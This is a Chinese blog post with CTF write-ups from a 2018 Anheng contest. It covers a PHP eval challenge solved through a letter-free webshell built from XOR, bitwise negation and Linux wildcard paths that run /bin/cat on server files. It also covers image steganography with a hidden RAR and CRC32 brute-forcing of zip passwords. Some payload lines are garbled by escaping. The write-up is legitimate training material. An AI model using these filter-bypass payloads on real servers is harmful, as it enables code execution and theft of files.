f10@t's blog

安恒九月题的misc和一道web

字数统计: 1.3k阅读时长: 5 min
2018/09/25

这两天做了安恒的九月题,学了一些新姿势,小结一下,这里主要是web第二道题和Misc的两道题。。

babypass

网页源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
  分析:我们get一个名为code的参数过去,要求1:该参数长度不能大于35,要求2:参数值中不能含有A到Z,a到z的字母、0到9的数字以及_,\(字符。判断结束后会将我们的参数 作为语句执行。   提示信息:可以通过getFlag()方法得到flag。   那么思路大概就有了:我们要构造一个语句,该语句的作用是调用getflag()函数来获取flag值,并且这个语句不能含有任何字母,数字,下划线等。即我们需要编写一个不使用数字和字母的webshell。这里提供三种方法来实现。   1. 字符异或构造   2. 取反操作   3. 通配符操作   前两种的原理很简单,即通过位运算,1为异或运算,2为取反运算,而第三个则是通过通配符来实现查询。 #### 字符串异或   原理:先将字符串转为二进制串,再通过二者的异或运算(相反位为1,相同位为0),再将结果还原成字符串。比如我们构造字符串:
1
2
3
4
5
6
7
8
9
<?php

function u($x){
return urldecode($x);
}

$_=(u('%07')^'`').(u('%05')^'`').(u('%14')^'`').(u('%1B')^']').(u('%0C')^'`').(u('%01')^'`').(u('%07')^'`');
echo ($_);
?>
  输出结果即为`getFlag`,但是长度过长,很明显不能符合题目的要求。    #### 取反操作   这种方法是利用UTF-8编码的某个汉字,并将其中某个字符取出来。   如:`~('瞰'{1})`,即将'瞰'字符的二进制串取第二组(类似数组下标,8个bit一字节为一组),进行按位取反操作后还原成字符串。   通过这种方法可以用指定汉字的部分二进制串来构造我们需要的字符。   当然这种方法也是长度超过了题目要求,而且相比上一种方法也要复杂一些。    #### 通配符匹配   网页后台的服务器都是Linux的操作系统,在Linux系统中是支持正则的,某些你忘记某个字符情况下,你可以使用? * %等字符来替代,长度与实际的名称长度相同,比如`/bin/www`我就可以表示为`/???/???`   于是我们访问一下网页源码:`/bin/cat /var/www/html/`即`/???/???%20/???/???/????/*`;?><?=\)
?>就可以得到flag.php源码了:
1
2
3
4
5
6
7
<?php
$FLAG = file_get_contents("/flag");

function getFlag(){
global $FLAG;
echo $FLAG;
}
  读取flag文件,
\(_=`/???/???%20/????`;?><?=\)
?>  得到答案   ![](/img/安恒九月题的misc和一道web/1.png)    ### Ditf   下载是一张小姐姐图片,emmmmmm看着好像没啥问题(埋下伏笔。。。),winhex下查看图片:   ![](/img/安恒九月题的misc和一道web/2.png)   可以看到里面夹了一个名为Dift的rar文件。binwalk分离。   打开后发现需要密码,正常爆破操作没有什么收获,题目也没有过多的提示信息。。。。甚至我还查了查这个小姐姐的信息。。。没啥收获。   后来发现。。。这个图片的高度不对。。。虽然看着挺完整,但是是有信息没有显示的,改变高度:   ![](/img/安恒九月题的misc和一道web/3.png)   得到密码,解压后查看数据包,提取出所有对象:   ![](/img/安恒九月题的misc和一道web/4.png)   在%5c(2)文件中发现base64:ZmxhZ3tPel80bmRfSGlyMF9sb3YzX0ZvcjN2ZXJ9   解码得到答案:flag{Oz_4nd_Hir0_lov3_For3ver}    ### CRC   提示信息很明显了,压缩包的CRC32值爆破,使用crc32-master`进行爆破,下面是三个文本文件的CRC32值爆破结果:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
1.txt    
4 bytes: {0x65, 0xd7, 0x1e, 0xf0}
verification checksum: 0xcc86365b (OK)
alternative: 05J728 (OK)
alternative: 0EvF7h (OK)
alternative: 2ysXnu (OK)
alternative: 3y2iul (OK)
alternative: R9DrOf (OK)
alternative: WQkoQX (OK)
alternative: avuKGt (OK)
alternative: dO875V (OK)
alternative: dSwk4B (OK)
alternative: forum_ (OK)
alternative: go3DvF (OK)
alternative: ldpDP2 (OK)
alternative: r6wKtc (OK)
alternative: s66zoz (OK)
alternative: yQGfVS (OK)

2.txt
4 bytes: {0x1c, 0xeb, 0xe5, 0x41}
verification checksum: 0xbcee7ed5 (OK)
alternative: 2VSYDo (OK)
alternative: 5OTgnD (OK)
alternative: 7sQy7Y (OK)
alternative: 91ctf_ (OK)
alternative: AVfsVk (OK)
alternative: N5K_u8 (OK)
alternative: OYyCje (OK)
alternative: PgLPQi (OK)
alternative: aYUJmn (OK)
alternative: c425Xo (OK)
alternative: cePT4s (OK)
alternative: d1zWsP (OK)
alternative: pt05kx (OK)
alternative: rTzw3q (OK)

3.txt
4 bytes: {0x3f, 0x09, 0x32, 0xe4}
verification checksum: 0xccca7e74 (OK)
alternative: 1Atmmb (OK)
alternative: 6XsSGI (OK)
alternative: EXFyUM (OK)
alternative: KWYIiC (OK)
alternative: Qm0jH5 (OK)
alternative: Spkdxd (OK)
alternative: TilZRO (OK)
alternative: Uub7HB (OK)
alternative: ZfsjnA (OK)
alternative: cN3O_z (OK)
alternative: com_66 (OK)
alternative: dW4quQ (OK)
alternative: kXjpRF (OK)
alternative: lAmNxm (OK)
alternative: n0EmLx (OK)
alternative: r24Q5p (OK)
alternative: rcV0Yl (OK)
alternative: tf_ciJ (OK)

  选出有意义的字符串:解压密码:forum_91ctf_com_66   解压后得到二进制代码,转换为字符串:

1
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAARgAAAEYCAIAAAAI7H7bAAAFR0lEQVR4nO3dQY5bNxBAQU+Q+1/ZOUGIgHlqN2eqtoYljfQfuGiQ/Pr9+/cv4P/5609/APgOhAQBIUFASBAQEgSEBAEhQUBIEPj78G9fX19jnyOXD5onv43Dh7/7GPkLLnmvSecnyooEASFBQEgQEBIEhAQBIUFASBAQEgROA9mDJftq8wHf09PJux/l7hPmD8DrT5QVCQJCgoCQICAkCAgJAkKCgJAgICQIXA5kD5bMGQ/u5oyT08mD/YPL/XuTP/EdWpEgICQICAkCQoKAkCAgJAgICQJCgkA/kH1aPqs9WDK4XDLhfZ0VCQJCgoCQICAkCAgJAkKCgJAgICQI/MSB7ORxu3dD0qdPTv6ZrEgQEBIEhAQBIUFASBAQEgSEBAEhQaAfyH7XHZf5Ib2Tu3EP9v9e+z/hLysSJIQEASFBQEgQEBIEhAQBIUFASBC4HMg+va1y/22wk7PaJTfqPv1E/bIiQUJIEBASBIQEASFBQEgQEBIEhASBrye2H26wZAS5f9z5M58oKxIEhAQBIUFASBAQEgSEBAEhQUBIEBgdyOYjyMkXnNwuerDkvQ6efqKuWZEgICQICAkCQoKAkCAgJAgICQJCgsDokcWTd63evWBuyfHIB0tmmkuG9desSBAQEgSEBAEhQUBIEBASBIQEASFB4HIgu8TTF4/ezWon9wvn8g3Iex4AKxIEhAQBIUFASBAQEgSEBAEhQUBIEDgdWbzkQOA7k/tql2wX3e/pw6LPrEgQEBIEhAQBIUFASBAQEgSEBAEhQeC0Q3Zy0+LkPO7p85aXDH/3HxZ95/r3siJBQEgQEBIEhAQBIUFASBAQEgSEBIHLI4uX3N25ZFZ78PT8dMmv/MQlwlYkCAgJAkKCgJAgICQICAkCQoKAkCDwbe+QnRwm7t/4eWfJtmVHFsNPISQICAkCQoKAkCAgJAgICQJCgsDlHbJLdiYOD9022H+x73c9A9mRxfBxQoKAkCAgJAgICQJCgoCQICAkCPR3yN6ZvKF1cgS55Duc3BQ8OSXfM8a1IkFASBAQEgSEBAEhQUBIEBASBIQEgdNAdslJvN916prPT/P3WnJR7MGe04ytSBAQEgSEBAEhQUBIEBASBIQEASFBoL9DNp92LRm63b1gPnV9+pTm/SPj6yfKigQBIUFASBAQEgSEBAEhQUBIEBASBC7vkD1YMj+9s+Qo5oMlxyNPWnIusYEsfJyQICAkCAgJAkKCgJAgICQICAkC/Q7ZgyWTtUmTM+inL6U9eOLvsiJBQEgQEBIEhAQBIUFASBAQEgSEBIHTQHbJrtX9m0yXDC73f4w7kwcdX394KxIEhAQBIUFASBAQEgSEBAEhQUBIEDgNZJ/emjq5G3dywjtpzw2tFy84zIoEASFBQEgQEBIEhAQBIUFASBAQEgQujyx+emI4uZN0cl/t03t4J9/rE3+yFQkCQoKAkCAgJAgICQJCgoCQICAkCPR3yE7e+HlnydbUJbPa3J5dq//mE7+yFQkCQoKAkCAgJAgICQJCgoCQICAkCPQD2adNDkmX7DI+mPyTl5xm7A5Z+JOEBAEhQUBIEBASBIQEASFBQEgQ+IkD2SWT0HwEObmVeNKS7b3nr9eKBAEhQUBIEBASBIQEASFBQEgQEBIE+oHsknHnnckh6eG9Jg9VXvJeB/kO2U9cL2tFgoCQICAkCAgJAkKCgJAgICQICAkCX58YTm3w9G2wk/8r9/TI+JoVCQJCgoCQICAkCAgJAkKCgJAgICQInAaywH9kRYKAkCAgJAgICQJCgoCQICAkCAgJAkKCwD96oQOE684L1QAAAABJRU5ErkJggg=="></img>
  很明显是图片的base64加密,还原得一二维码,扫码得答案:flag{owid0-o91hf-9iahg}

CATALOG
  1. 1. babypass